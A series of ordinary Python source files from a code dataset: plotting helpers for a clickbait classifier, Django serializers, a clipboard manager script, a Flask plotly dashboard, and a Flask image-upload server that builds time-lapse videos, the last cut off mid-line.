blob = TextBlob(text)\n return blob.sentiment[1]\n\ndef get_polarity(text):\n \"\"\"\n Returns polarity score of a string using TextBlobs implementation\n \n \"\"\"\n blob = TextBlob(text)\n return blob.sentiment[0]\n\n\ndef countX(lst, x): \n \"\"\"\n \n Giving a list lst and an item, returns the frequency of that specific \n item in the list.\n \n \"\"\"\n return lst.count(x) \n\ndef freq_of_specific_words(tokenized_list, list_of_interest):\n \"\"\"\n tokenized_list: A tokenized cropus\n list_of_interst: A set of unique words in the corpus\n \n returns \n \n dictionary: str:int --> count of each word\n \"\"\"\n freqDict = {}\n for word in list_of_interest:\n freqDict[word] = countX(tokenized_list, word)\n return freqDict\n\ndef show_wordcloud(dictionary, title, min_font = 10):\n \"\"\"\n generates a word cloud from a frequency dictionary\n \n Returns \n \n Nothing. Just plots \n \"\"\"\n wordcloud = WordCloud(min_font_size=min_font).generate_from_frequencies(dictionary)\n plt.figure(figsize = (8, 8), facecolor = None) \n plt.imshow(wordcloud) \n plt.axis(\"off\")\n if title:\n plt.title(title)\n else:\n plt.title(\"Word Cloud\")\n plt.tight_layout(pad = 0) \n\n plt.show() \n\ndef show_class_imbalance(df, title='Class Imbalance', PATH=None):\n \"\"\"\n SPECIFIC FOR THE CURRENT PROJECT\n \n Given the df will show a bar plot demonstrating the class imbalance between \n clickbait and non clickbait.\n \n \n \"\"\"\n ax = sns.barplot(x=[\"Normal\", \"Clickbait\"], y=df.groupby(['target']).target.count())\n ax.set_title(title, size=20)\n plt.xticks([0,1],[\"Normal\", \"Clickbait\"], size = 20)\n ax.set_ylabel(\"Document Count\", size=17)\n ax.set_xlabel(\"Article Class\", size=20)\n if PATH:\n plt.savefig(PATH, bbox_inches=\"tight\", transparent=True)\n return ax\n \n \n \n \n \n# ================================= Viz Average word length ================================= \ndef get_average_word_length(title):\n \"\"\"\n \n Returns the average word length in a document\n \n \"\"\"\n return np.mean([len(word) for word in title.split()])\n\n\ndef word_lengths(df, ax=None, content='title', title='data', x_lim = [0,10]):\n \"\"\"\n \n Creates a histogram showing the difference in the distribution in word length between class.\n optionally can be given a matplotlib axes object.\n \n Returns \n \n seaborn axes object \n \n \"\"\"\n click_len = df[df.target == 1][content].apply(get_average_word_length)\n non_len = df[df.target == 0][content].apply(get_average_word_length)\n \n if not ax:\n fig, ax = plt.subplots()\n for a, b in zip([click_len, non_len], ['Clickbait', 'Non-clickbait']):\n sns.distplot(a, bins=50, ax=ax, kde=True, label=b)\n ax.legend()\n ax.set_xlim(x_lim)\n ax.set_xlabel(\"Average Word Length\", size = 14)\n ax.set_title(f\"Distribution of Title Length Between \\n Clickbait and Non-Clickbait News Headlines {title}\", size =17)\n return ax;\n else:\n for a, b in zip([click_len, non_len], ['Clickbait', 'Non-clickbait']):\n sns.distplot(a, bins=50, ax=ax, kde=False, label=b)\n ax.legend()\n ax.set_xlim(x_lim)\n ax.set_xlabel(\"Average Word Length\", size=14)\n ax.set_title(f\"Distribution of Title Length Between \\n Clickbait and Non-Clickbait News Headlines {title}\", size =17)\n return ax;\n\n\n# ================================= Viz title Length ================================= \ndef get_len(string):\n \"\"\"\n \n Returns the number of words in the string\n \n \n \"\"\"\n return len(tokenizer.tokenize(string))\n\ndef title_lengths(df, ax, content='title', title='data', x_lim = [0,100]):\n \"\"\"\n Displays class difference in class document word count as a histogram\n \n Returns\n \n matplotlib Axes object.\n \n \"\"\"\n click_len = df[df.target == 1][content].apply(get_len)\n non_len = df[df.target == 0][content].apply(get_len)\n\n for a, b in zip([click_len, non_len], ['Clickbait', 'Non-clickbait']):\n sns.distplot(a, bins=50, ax=ax, kde=False, label=b)\n ax.legend()\n ax.set_xlim(x_lim)\n ax.set_xlabel(\"Length of Title (words)\")\n ax.set_title(f\"Distribution of Title Length Between \\n Clickbait and Non-Clickbait News Headlines {title}\", size =10)\n return ax\n\n# ================================= Viz stopword differences ================================= \n\n\ndef remove_stopwords_tokenized(title):\n return ([word.lower() for word in tokenizer.tokenize(title) if word.lower() not in stop_words])\n\ndef stopword_proportion(title):\n tokenized = tokenizer.tokenize(title)\n return (len(tokenized) + 1)/(len(remove_stopwords_tokenized(title)) + 1)\n\ndef stopword_hist(df, stop_words, ax):\n \"\"\"\n Shows a histogram of the classes proportion of stopwords. \n \n Stopword content is between 1-2:\n \n This is because I wanted to avoid zero division errors so I added a 1 to the numerator and the denominator.\n returns a matplotlib axes object\n \n \"\"\"\n click_props = df[df.target == 1].title.apply(stopword_proportion)\n non_props = df[df.target == 0].title.apply(stopword_proportion)\n for a, b in zip([non_props, click_props], ['Normal','Clickbait']):\n sns.distplot(a, bins=30, ax=ax, kde=True, label=b)\n ax.legend()\n ax.set_ylabel(\"Density\", size=20)\n ax.set_xlim([0.5,3])\n ax.set_xlabel(\"Ratio of Stopwords\", size=20)\n ax.set_title(f\"Ratio of Stopwords Between \\n Clickbait and Non-Clickbait News Headlines\", size =15)\n return ax\n\n\ndef stopword_bar(df, stop_words, ax):\n \n \"\"\"\n Shows a histogram of the classes proportion of stopwords. \n \n Stopword content is between 1-2:\n \n This is because I wanted to avoid zero division errors so I added a 1 to the numerator and the denominator.\n \n Returns \n \n matplotlib axes object\n \n \n \"\"\"\n df_test = df.copy()\n df_test['prop'] = df.title.apply(stopword_proportion)\n sns.barplot(data=df_test, x='target', y='prop', ax=ax, ci=False)\n ax.set_title(\"Ratio of Stopwords Between Classes\", size=20)\n ax.set_ylim([1,2])\n ax.set_ylabel(\"Ratio\", size=20)\n ax.set_xlabel(\"Article Class\", size=20)\n plt.xticks(ticks=range(2),labels=['Normal','Clickbait'], size=20)\n return ax\n\n# ================================= Viz title Cardinality ================================= \n\ndef contains_cardinal(title):\n return any(char.isdigit() for char in title)\n\ndef proportion_with_cardinals(df, PATH):\n\n \"\"\"\n Shows a histogram of the classes proportion of documents containing cardinal numbers.\n \n Returns \n \n matplotlib axes object\n \n \n \"\"\"\n \n df_test = df.copy()\n df_test['cardinal'] = df.title.apply(contains_cardinal)\n\n click = df_test[df_test.target == 1]\n non = df_test[df_test.target == 0]\n click = click.groupby(['cardinal']).target.count()\n non = non.groupby(['cardinal']).target.count()\n \n non = non[1]/non[0] * 100\n click = click[1]/click[0] * 100\n # plot the results\n fig, ax = plt.subplots(figsize=(12,6))\n sns.barplot(x=['Normal', \"Clickbait\"], y=[non, click], ax=ax)\n plt.title(\"Percent of Titles Containing Cardinal Numbers\", size = 24)\n plt.xlabel(\"Article Class\", size=24)\n plt.ylabel(\"Percent %\", size = 24)\n plt.ylim(0, 100)\n plt.xticks([0,1], label=[\"Normal\", \"Clickbait\"], size=24)\n if PATH:\n plt.savefig(PATH, bbox_inches=\"tight\", transparent=True)\n \n return ax\n\n\n\n# ================================= Viz title false positives/negatives ================================= \n\ndef get_false_positives(predictions, y_test):\n \"\"\"\n Returns a numpy array of index matched false negatives\n predictions --> binary or bool\n y_test --> binary or bool\n theshold \n \n returns a np.array\n \"\"\"\n comparisons = list(zip(y_test, predictions))\n return np.array([1 if (true == 0 and prediction == 1) else 0 for true, prediction in comparisons])\n\ndef get_false_negatives(predictions, y_test):\n \"\"\"\n Returns a numpy array of index matched false negatives\n predictions --> binary or bool\n y_test --> binary or bool\n theshold \n \n returns a np.array\n \"\"\"\n comparisons = list(zip(y_test, predictions))\n return np.array([1 if (true == 1 and prediction == 0) else 0 for true, prediction in comparisons])\n\n\n\n\n# ================================= Viz word clouds ================================= \n\ndef generate_wordcloud(dict_, title='WordCloud', PATH=None):\n \n \"\"\"\n Displays a word cloud of the frequency dictionary\n \n No return object\n \n \"\"\"\n wordcloud = WordCloud(min_font_size=10).generate_from_frequencies(dict_)\n plt.figure(figsize = (8, 8), facecolor = None) \n plt.imshow(wordcloud) \n plt.axis(\"off\") \n plt.title(title, size = 24)\n plt.tight_layout(pad = 0) \n if PATH:\n plt.savefig(PATH, bbox_inches=\"tight\", transparent=True)\n plt.show() \n \n\n \n \n# ================================= Viz Difference and Intersection Word Clouds ================================= \n\ndef get_intersect(df, get_numbers=False):\n \n \"\"\"\n Returns the intersect of words between the click bait corpus and the non clickbait corpus\n \n Returns:\n \n click_set.intersection(non_set), click_tokenized\n \n \"\"\"\n click_corpus = \" \".join(df[df.target==1].title.to_list())\n non_corpus = \" \".join(df[df.target==0].title.to_list())\n \n tokenizer = RegexpTokenizer(r'[a-zA-Z0-9]+')\n \n click_tokenized = tokenizer.tokenize(click_corpus)\n non_tokenized = tokenizer.tokenize(non_corpus)\n\n fil_click = [word.lower() for word in click_tokenized if word.lower() not in pp.stop_words]\n fil_non = [word.lower() for word in non_tokenized if word.lower() not in pp.stop_words]\n \n non_set = set(fil_non)\n click_set = set(fil_click)\n \n return click_set.intersection(non_set), click_tokenized\n\ndef get_difference(df, click_as_base=True):\n \n \"\"\"\n Given a dataframe, returns a set of words that are unique to the the clickbait data set and then a list of all the words \n used in the clickbait dataset\n \"\"\"\n click_corpus = \" \".join(df[df.target==1].title.to_list())\n non_corpus = \" \".join(df[df.target==0].title.to_list())\n \n tokenizer = RegexpTokenizer(r'[a-zA-Z0-9]+')\n \n click_tokenized = tokenizer.tokenize(click_corpus)\n non_tokenized = tokenizer.tokenize(non_corpus)\n\n fil_click = [word.lower() for word in click_tokenized if word.lower() not in pp.stop_words]\n fil_non = [word.lower() for word in non_tokenized if word.lower() not in pp.stop_words]\n \n non_set = set(fil_non)\n click_set = set(fil_click)\n \n if click_as_base:\n return click_set.difference(non_set), click_tokenized \n else: \n return non_set.difference(click_set), non_tokenized\n \ndef visualize_intersection(df):\n \n \"\"\"\n Generates two wordclouds, for the intersect and one for the difference between the classes words frequencies\n \n \"\"\"\n \n click_corpus = \" \".join(df[df.target==1].title.to_list())\n non_corpus = \" \".join(df[df.target==0].title.to_list())\n \n tokenizer = RegexpTokenizer(r'[a-zA-Z0-9]+')\n \n click_tokenized = tokenizer.tokenize(click_corpus)\n non_tokenized = tokenizer.tokenize(non_corpus)\n\n fil_click = [word.lower() for word in click_tokenized if word.lower() not in pp.stop_words]\n fil_non = [word.lower() for word in non_tokenized if word.lower() not in pp.stop_words]\n \n non_set = set(fil_non)\n click_set = set(fil_click)\n \n # Generate sets of words\n diff = non_set.difference(click_set)\n overlap = non_set.intersection(click_set)\n \n # Generate word clouds of each\n def countX(lst, x): \n return lst.count(x) \n def freq_of_specific_words(tokenized_list, list_of_interest):\n freqDict = {}\n for word in list_of_interest:\n freqDict[word] = countX(tokenized_list, word)\n\n\n non_diff = {}\n for word in diff:\n non_diff[word] = countX(list(non_set), word)\n difference_frequency = sorted(non_diff.items(), reverse=True, key = (lambda x: x[1]))\n \n wordcloud = WordCloud(min_font_size=10).generate_from_frequencies(dict(difference_frequency))\n plt.figure(figsize = (8, 8), facecolor = None) \n plt.imshow(wordcloud) \n plt.axis(\"off\") \n plt.title(\"Difference Between Click-Bait and Normal Headlines\")\n plt.tight_layout(pad = 0) \n\n plt.show() \n \n \n click_diff = {}\n for word in overlap:\n click_diff[word] = countX(fil_click, word)\n\n difference_frequency = sorted(click_diff.items(), reverse=True, key = (lambda x: x[1]))\n wordcloud = WordCloud(min_font_size=5).generate_from_frequencies(dict(difference_frequency))\n plt.figure(figsize = (8, 8), facecolor = None) \n plt.imshow(wordcloud) \n plt.axis(\"off\") \n plt.title(\"Intersection Between Click-Bait and Normal Headlines\")\n plt.tight_layout(pad = 0) \n\n plt.show() \n \n \n \n \n \n# ================================= Viz Evaluation Metrics ================================= \n \n \ndef plot_cmatrix(actual, predictions, model, PATH = None):\n '''Takes in arrays of actual binary values and model predictions and generates and plots a confusion matrix'''\n cmatrix = confusion_matrix(actual, predictions)\n\n fig, ax = plt.subplots(figsize = (12,6))\n sns.heatmap(cmatrix, annot=True, fmt='g', ax=ax, cmap='Blues')\n ax.set_xticklabels(['Normal', 'Clickbait'])\n ax.set_yticklabels(['Normal', 'Clickbait'])\n ax.set_ylabel('Actual', size=15)\n ax.set_xlabel('Predicted', size=15)\n ax.set_title(f'Confusion Matrix for {model} Predictions', size =18)\n if PATH:\n plt.savefig(PATH, bbox_inches = \"tight\", transparent=True)\n \n return plt.show()\n\ndef plot_roc_curve(actual, predictions, model = \"ROC Curve\", PATH=None):\n '''Takes in arrays of actual binary values and model predictions and generates and plots an ROC curve'''\n \n fpr, tpr, threshholds = roc_curve(actual, predictions)\n \n sns.set_style('darkgrid', {'axes.facecolor': '0.9'})\n \n print('AUC: {}'.format(auc(fpr, tpr)))\n plt.figure(figsize=(10, 8))\n lw = 2\n plt.plot(fpr, tpr, color='darkorange',\n lw=lw, label=model)\n plt.plot([0, 1], [0, 1], color='navy', lw=lw, linestyle='--')\n plt.xlim([0.0, 1.0])\n try:\n plt.ylim([0.0, 1.05])\n except:\n print(\"plt.ylim throwing an type error\")\n plt.yticks([i/20.0 for i in range(21)], size=17)\n plt.xticks([i/20.0 for i in range(21)], rotation=45, size=17)\n plt.xlabel('False Positive Rate', size=24)\n plt.ylabel('True Positive Rate', size=24)\n plt.title(f'{model} ROC Curve', size = 24)\n plt.legend(loc='lower right', prop = {\"size\" : 20})\n if PATH:\n plt.savefig(PATH, bbox_inches='tight', transparent=True)\n \n return plt.show()\n\n\n\n\n# ================================= Viz Final Evaluation Metrics ================================= \n\ndef generate_prediction_matrix(list_of_models, list_of_tfidf, X_test):\n \n \"\"\"\n This is a helper function that creates a prediction matrix to feed into either \n roc auc curve or a voting classifier\n \n \"\"\"\n n = len(X_test)\n m = len(list_of_models)\n \n prediction_matrix = np.ones((n,m))\n \n for i, model in enumerate(list_of_models):\n print(f\"Generating predictions for model: {i+1}\")\n model = list_of_models[i]\n tfidf = list_of_tfidf[i]\n try:\n X_test_tfidf = tfidf.transform(X_test)\n predictions = model.predict_proba(X_test_tfidf)[:,1]\n except Exception as e:\n print(str(e))\n print(predictions)\n prediction_matrix[:,i] *= predictions\n \n return prediction_matrix\n\n\ndef plot_final_roc(prediction_matrix, model_names, y_test, PATH = None):\n \"\"\"\n Given a prediction matrix generated using generate_prediction_matrix() and the matching\n model names, will return a roc auc curve containing all of the models predictions\n \n returns\n \n Nothing. Just shows an image. Don't be greedy.\n \n \"\"\"\n plt.figure(figsize=(10, 8))\n for i, model in enumerate(model_names): \n predictions = prediction_matrix[:,i]\n fpr, tpr, threshholds = roc_curve(y_test, predictions)\n sns.set_style('darkgrid', {'axes.facecolor': '0.9'})\n lw = 2\n plt.plot(fpr, tpr,\n lw=lw, label=f'{model_names[i]} AUC: {round(auc(fpr, tpr), 3)}')\n plt.plot([0, 1], [0, 1], lw=lw, linestyle='--')\n plt.xlim([0.0, 1.0])\n plt.ylim([0.0, 1.05])\n plt.yticks([i/20.0 for i in range(21)], size = 14)\n plt.xticks([i/20.0 for i in range(21)], rotation = 45, size = 14)\n plt.xlabel('False Positive Rate', size =16)\n plt.ylabel('True Positive Rate', size =16)\n plt.title('ROC Curve', size = 20)\n plt.legend(loc='lower right', prop = {\"size\" : 20})\n if PATH:\n plt.savefig(PATH, bbox_inches='tight', transparent = True)\n plt.show()","repo_name":"SlimHintz/bait-n-switch","sub_path":"src/modules/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":18621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38856241687","text":"from rest_framework import serializers\n\nfrom apps.core.serializers import DynamicFieldsModelSerializer\nfrom apps.about.models import FAQ, Company, ContactForm\n\n\nclass FAQSerializer(DynamicFieldsModelSerializer):\n\n\tclass Meta:\n\t\tmodel = FAQ\n\t\tfields = (\n\t\t\t\"company\", \"question\", \"answer\"\n\t\t)\n\n\nclass CompanySerializer(DynamicFieldsModelSerializer):\n\tstop_plan_pdf = serializers.FileField(use_url=True)\n\tfaqs = serializers.SerializerMethodField()\n\n\tdef get_faqs(self, instance: Company):\n\t\treturn FAQSerializer(\n\t\t\t\tinstance.faqs.all(),\n\t\t\t\texclude=(\"company\",),\n\t\t\t\tmany=True\n\t\t\t).data\n\t\n\tclass Meta:\n\t\tmodel = Company\n\t\tfields = (\n\t\t\t\"home_page_title\", \"home_page_text\",\n\t\t\t\"contact_number\", \"about_the_company\",\n\t\t\t\"help_number\",\n\t\t\t\"address\", \"faqs\", \"stop_plan_pdf\",\n\t\t\t\"terms_and_conditions\", \"privacy_policy\",\n\t\t\t\"banner_title\", \"banner_text\"\n\t\t)\n\n\nclass ContactFormSerializer(serializers.ModelSerializer):\n\n\tuser = serializers.HiddenField(default=serializers.CurrentUserDefault())\n\n\tclass Meta:\n\t\tmodel = ContactForm\n\t\tfields = (\n\t\t\t\"id\", \"user\", \"name\", \"email\",\n\t\t\t\"phone_number\", \"message\", \"created\"\n\t\t)\n","repo_name":"aarsh-zartek/prosit","sub_path":"apps/about/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73569315685","text":"#!/usr/bin/env python3\n\nimport shelve, pyperclip, sys\n\ndef usage():\n print('Usage: mcb.pyw [save [name]|list|key]')\n sys.exit(0)\n\nif len(sys.argv) < 2:\n usage()\n\nshelf = shelve.open('mcb')\n\ncommand = sys.argv[1]\nif len(sys.argv) == 3 and command == 'save':\n key = sys.argv[2]\n shelf[key] = pyperclip.paste()\n print(f'saved clipboard as {key}')\nelif command == 'list':\n print(str(list(shelf.keys())))\nelif len(sys.argv) == 3 and command == 'delete':\n key = sys.argv[2]\n del shelf[key]\n print(f'deleted \"{key}\"')\nelif command in shelf:\n pyperclip.copy(shelf[command])\n print(f'loaded {command}')\nelse:\n print(f'Unknown command or key {command}')\n\nshelf.close()\n\n","repo_name":"dave-burke/python-sample","sub_path":"mcb.pyw","file_name":"mcb.pyw","file_ext":"pyw","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11223560914","text":"from flask import render_template, flash, redirect, url_for, request\r\nfrom app import app\r\n\r\nfrom flask_bootstrap import Bootstrap\r\n\r\n# Redirect to \"next\" page\r\nfrom werkzeug.urls import url_parse\r\nimport plotly\r\nimport plotly.graph_objs as go\r\nimport plotly.express as px\r\n\r\nimport json\r\n\r\nimport pandas as pd\r\n\r\n\r\nx = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']#np.linspace(0, 1, N)\r\nunits = [1530, 5117, 9779, 9187, 13817, 10769, 5761, 15210, 9050, 19720, 17200, 20700] #np.random.randn(N)\r\ndf = pd.DataFrame({'x': x, 'units': units}) # creating a sample dataframe\r\ndf['earnings'] = 3*df['units']\r\n\r\nstores = ['Costco', 'Freshco', 'Metro', 'Food Basics', 'Shopers', 'Walmart']\r\nFoodWasted = ['47%', '30%', '52%', '37%', '43%', '32%']\r\nConsumers = [200, 400, 672, 987, 87, 176]\r\ndf_stores = pd.DataFrame({'Store': stores, 'Food Wasted': FoodWasted, 'Consumers': Consumers})\r\n\r\nHotProducts_name = ['Milk', 'Eggs', 'Yogurt', 'Almond Milk', 'Cheese', 'Ice Cream', 'Sour Cream']\r\nHotProducts_units = [470, 3000, 5290, 370, 413, 3221, 322]\r\nHotProducts_earnings = [2210, 4050, 6720, 987, 1817, 1769, 1761]\r\ndf_HotProducts = pd.DataFrame({'Product':HotProducts_name, 'Units': HotProducts_units, 'Earnings': HotProducts_earnings })\r\n\r\nsavings_Product = ['Milk', 'Eggs', 'Yogurt', 'Red Beans', 'Cheese', 'Ham', 'Tomatos']\r\nsavings_CAD = [22, 4, 2, 7, 8, 17, 11]\r\ndf_savings = pd.DataFrame({'Product': savings_Product, 'Savings (CAD)': savings_CAD})\r\n\r\nfoodDist_prod = ['Dairy', 'Vegetables', 'Fruit', 'Bakery', 'Meat', 'Others']\r\nfoodDist_value = [7, 30, 15, 9, 6, 20]\r\ndf_foodDist = pd.DataFrame({'Product': foodDist_prod, 'Value': foodDist_value})\r\n\r\nSavingsOv_product = [ 'Grain', 'Meat', 'Dairy', 'Produce']\r\nSavingsOv_consumer = [30, 50, 37, 20]\r\nSavingsOv_neigh = [15, 64, 23, 23]\r\nSavingsOv_city = [12, 53, 30, 55]\r\ndf_SavingsOverview = pd.DataFrame({'Product': SavingsOv_product, 'Consumer': SavingsOv_consumer, 'Neighbourhood': SavingsOv_neigh, 'City':SavingsOv_city })\r\n\r\n\r\n\r\n@app.route('/')\r\n@app.route('/index')\r\ndef index():\r\n return render_template(\"index.html\")\r\n\r\n@app.route('/ConsumerView')\r\ndef ConsumerView():\r\n Fig01 = create_pieFoodDist()\r\n Fig02 = create_radar()\r\n return render_template('ConsumerView.html', user = 1, plot01=Fig01, plot02=Fig02)\r\n\r\n@app.route('/RetailerView')\r\ndef RetailerView():\r\n figure01 = create_plot()\r\n return render_template('RetailerView.html', user = 2, plot=figure01)\r\n\r\n@app.route('/ConsumerSavings')\r\ndef ConsumerSavings():\r\n figure01 = create_plotSavings()\r\n return render_template('ConsumerSavings.html', user = 1, plot=figure01)\r\n\r\n@app.route('/ConsumerProducts')\r\ndef ConsumerProducts():\r\n return render_template('ConsumerProducts.html', user = 1)\r\n\r\n@app.route('/ConsumerRewards')\r\ndef ConsumerRewards():\r\n return render_template('ConsumerRewards.html', user = 1)\r\n\r\n@app.route('/RetailerHotProducts')\r\ndef RetailerHotProducts():\r\n figure03 = create_pieProducts()\r\n figure04 = create_plotProducts()\r\n return render_template('RetailerHotProducts.html', user = 2 , plot01=figure03, plot02=figure04, df_HotProducts = df_HotProducts)\r\n\r\n@app.route('/RetailerPredictions')\r\ndef RetailerPredictions():\r\n figure01 = create_plot()\r\n return render_template('RetailerPredictions.html', user = 2, plot=figure01, dfPredicitons = df )\r\n\r\n@app.route('/RetailerStore')\r\ndef RetailerStore():\r\n figure02 = create_pie()\r\n return render_template('RetailerStore.html', user = 2, plot=figure02, df_stores = df_stores)\r\n\r\n\r\n@app.route('/Dashboard01')\r\ndef Dashboard01():\r\n return render_template('Dashboard01.html', user = 2)\r\n\r\n\r\n\r\ndef create_plot():\r\n fig01 = px.scatter(df, x='x', y='earnings', template=\"plotly_white\", labels = {'x':'Month', 'earnings':'Earnings (CAD)'}, hover_data=[\"earnings\"])\r\n fig01.update_xaxes(showgrid=False, zeroline=True)\r\n fig01.update_yaxes(showgrid=True, zeroline=False)\r\n fig01.update_traces(marker=dict(size=12, color='#ff8200'), hovertemplate=None )\r\n fig01.data[0].update(mode='markers+lines', line_shape='spline')\r\n fig01.update_layout(hovermode=\"x\", hoverlabel=dict( font_color=\"white\", font_size=16, font_family=\"Rockwell\"))\r\n # hoverlabel=dict( bgcolor=\"white\", font_size=16, font_family=\"Rockwell\"))\r\n\r\n\r\n \"\"\"\r\n fig01 = go.Scatter(x=df['x'], y=df['y'], mode='lines+markers',\r\n line=dict(color='#ff8200', width=4), line_shape='spline',\r\n marker=dict(color='#ff8200', size=10, symbol=0)\r\n\r\n )\r\n data = [fig01]\r\n\r\n data01 = go.Figure(\r\n data=[fig01],\r\n layout=go.Layout(\r\n title=go.layout.Title(text=\"A Figure Specified By A Graph Object\")\r\n )\r\n )\r\n\r\n\r\n data02 = go.Figure(\r\n data=[fig01],\r\n layout=go.Layout(\r\n xaxis= {'showgrid': False}\r\n )\r\n )\r\n \"\"\"\r\n\r\n graphJSON = json.dumps(fig01, cls=plotly.utils.PlotlyJSONEncoder)\r\n\r\n return graphJSON\r\n\r\n\r\n\r\ndef create_pie():\r\n fig01 = px.pie(df_stores, values = 'Consumers', names='Store')#, template=\"plotly_white\", labels = {'x':'Month', 'earnings':'Earnings (CAD)'}, hover_data=[\"earnings\"])\r\n fig01.update_layout(hovermode=\"x\", hoverlabel=dict( font_color=\"white\", font_size=16, font_family=\"Rockwell\"))\r\n\r\n\r\n graphJSON = json.dumps(fig01, cls=plotly.utils.PlotlyJSONEncoder)\r\n return graphJSON\r\n\r\ndef create_pieProducts():\r\n fig01 = px.pie(df_HotProducts, values = 'Units', names='Product', hover_data=[\"Earnings\"])#, template=\"plotly_white\", labels = {'x':'Month', 'earnings':'Earnings (CAD)'}, hover_data=[\"earnings\"])\r\n fig01.update_layout(hovermode=\"x\", hoverlabel=dict( font_color=\"white\", font_size=16, font_family=\"Rockwell\"))\r\n\r\n\r\n graphJSON = json.dumps(fig01, cls=plotly.utils.PlotlyJSONEncoder)\r\n return graphJSON\r\n\r\ndef create_plotProducts():\r\n fig01 = px.bar(df_HotProducts, x='Product', y='Earnings', template=\"plotly_white\", color='Product')#labels = {'x':'Month', 'earnings':'Earnings (CAD)'}, hover_data=[\"Earnings\"])\r\n #fig01.update_xaxes(showgrid=False, zeroline=True)\r\n #fig01.update_yaxes(showgrid=True, zeroline=False)\r\n #fig01.update_traces(marker=dict(size=12, color='#ff8200'), hovertemplate=None )\r\n #fig01.data[0].update(mode='markers+lines', line_shape='spline')\r\n #fig01.update_layout(hovermode=\"x\", hoverlabel=dict( font_color=\"white\", font_size=16, font_family=\"Rockwell\"))\r\n\r\n graphJSON = json.dumps(fig01, cls=plotly.utils.PlotlyJSONEncoder)\r\n\r\n return graphJSON\r\n\r\ndef create_plotSavings():\r\n fig01 = px.bar(df_savings, x='Product', y='Savings (CAD)', template=\"plotly_white\", color='Product')#, labels = {'x':'Month', 'earnings':'Earnings (CAD)'}, hover_data=[\"Earnings\"])\r\n\r\n graphJSON = json.dumps(fig01, cls=plotly.utils.PlotlyJSONEncoder)\r\n\r\n return graphJSON\r\n\r\n\r\ndef create_pieFoodDist():\r\n fig01 = px.pie(df_foodDist, values = 'Value', names='Product')#, template=\"plotly_white\", labels = {'x':'Month', 'earnings':'Earnings (CAD)'}, hover_data=[\"earnings\"])\r\n fig01.update_layout(hovermode=\"x\", hoverlabel=dict( font_color=\"white\", font_size=16, font_family=\"Rockwell\"))\r\n\r\n\r\n graphJSON = json.dumps(fig01, cls=plotly.utils.PlotlyJSONEncoder)\r\n return graphJSON\r\n\r\ndef create_radar():\r\n fig01 = px.line_polar(df_SavingsOverview, r='Consumer', theta='Product', line_close=True )\r\n fig01.update_traces(fill='toself', line=dict(color='blue'), name='Consumer', showlegend = True)\r\n\r\n fig02 = px.line_polar(df_SavingsOverview, r='Neighbourhood', theta='Product', line_close=True)\r\n fig02.update_traces(fill='toself', line=dict(color='green'), name='Neighbourhood', showlegend = True)\r\n\r\n fig03 = px.line_polar(df_SavingsOverview, r='City', theta='Product', line_close=True)\r\n fig03.update_traces(fill='toself', line=dict(color='#ff8200'), name='City', showlegend = True)\r\n\r\n fig01.add_trace(fig02.data[0])\r\n fig01.add_trace(fig03.data[0])\r\n\r\n\r\n\r\n graphJSON = json.dumps(fig01, cls=plotly.utils.PlotlyJSONEncoder)\r\n return graphJSON\r\n","repo_name":"smlopezza/Smartsito","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":8151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15124367670","text":"from flask import Flask, request, Response\nimport jsonpickle\nimport numpy as np\nimport cv2\nimport os\nfrom datetime import datetime\nimport glob\n\n# Initialize the Flask application\napp = Flask(__name__)\n\n\n# Heart beat for checking is server is up.\n@app.route('/image/heart_beat', methods=['GET'])\ndef heat_beat():\n\tresponse = {\"message\": \"ok\"}\n\tpickled_response = jsonpickle.encode(response)\n\treturn Response(response=pickled_response, status=200, mimetype='application/json')\n\n\n# Function to create the time lapse video\n@app.route('/image/create_time_lapse', methods=['POST'])\ndef create_time_lapse():\n\n\timages = sorted(glob.glob('images/*.jpg'))\n\tprint(\"Total number of images: {}\".format(len(images)))\n\tmake_directory_if_missing(\"videos\")\n\t# Calculate frame rate in frames per second\n\t# if len(images) < 30:\n\t# \tframe_rate = 2\n\t# else:\n\t# \tframe_rate = 30\n\n\tframe_rate = 30\n\tdata = request.json\n\tif \"frame_rate\" in data.keys():\n\t\tframe_rate = data[\"frame_rate\"]\n\n\twidth, height = get_image_size(images[0])\n\tif \"width\" in data.keys():\n\t\twidth = data[\"width\"]\n\tif \"height\" in data.keys():\n\t\theight = data[\"height\"]\n\tfourcc = cv2.VideoWriter_fourcc('m', 'p', '4', 'v')\n\tvideo_name = \"videos/\" + get_video_name(\"\")\n\tif \"name_suffix\" in data.keys():\n\t\tvideo_name = \"videos/\" + get_video_name(\"_\" + data[\"name_suffix\"])\n\tprint(\"Generating video name: {}, width: {}, height: {}, frame rate: {}\".format(video_name, width, height, frame_rate))\n\tvideo = cv2.VideoWriter(video_name, fourcc, frame_rate, (width, height))\n\n\tfor ctr in range(len(images)):\n\t\t# Load image\n\t\timage = cv2.imread(images[ctr])\n\t\t# Match the size of the image.\n\t\timage = cv2.resize(image, (width, height))\n\t\tvideo.write(image)\n\n\tvideo.release()\n\tprint(\"Created time lapse.\")\n\n\tresponse = {\"message\": \"Created time lapse from {} images.\".format(len(images))}\n\tpickled_response = jsonpickle.encode(response)\n\treturn Response(response=pickled_response, status=200, mimetype='application/json')\n\n\n# route http posts to this method\n@app.route('/image/add', methods=['POST'])\ndef receive_image():\n\tr = request\n\t# Convert string of image data to unit8\n\tnp_array = np.frombuffer(r.data, np.uint8)\n\n\t# decode image\n\timage = cv2.imdecode(np_array, cv2.IMREAD_COLOR)\n\timage_name = get_image_name()\n\n\tmake_directory_if_missing(\"images\")\n\n\t# Save the image\n\tprint(\"Saving image as: {}\".format(\"images/\" + image_name))\n\tcv2.imwrite(\"images/\" + image_name, image)\n\n\t# Create the response\n\tresponse = {'message': 'image {} received. size={}x{}'.format(image_name, image.shape[1], image.shape[0])}\n\n\t# encode response using json pickle\n\tresponse_pickled = jsonpickle.encode(response)\n\n\treturn Response(response=response_pickled, status=200, 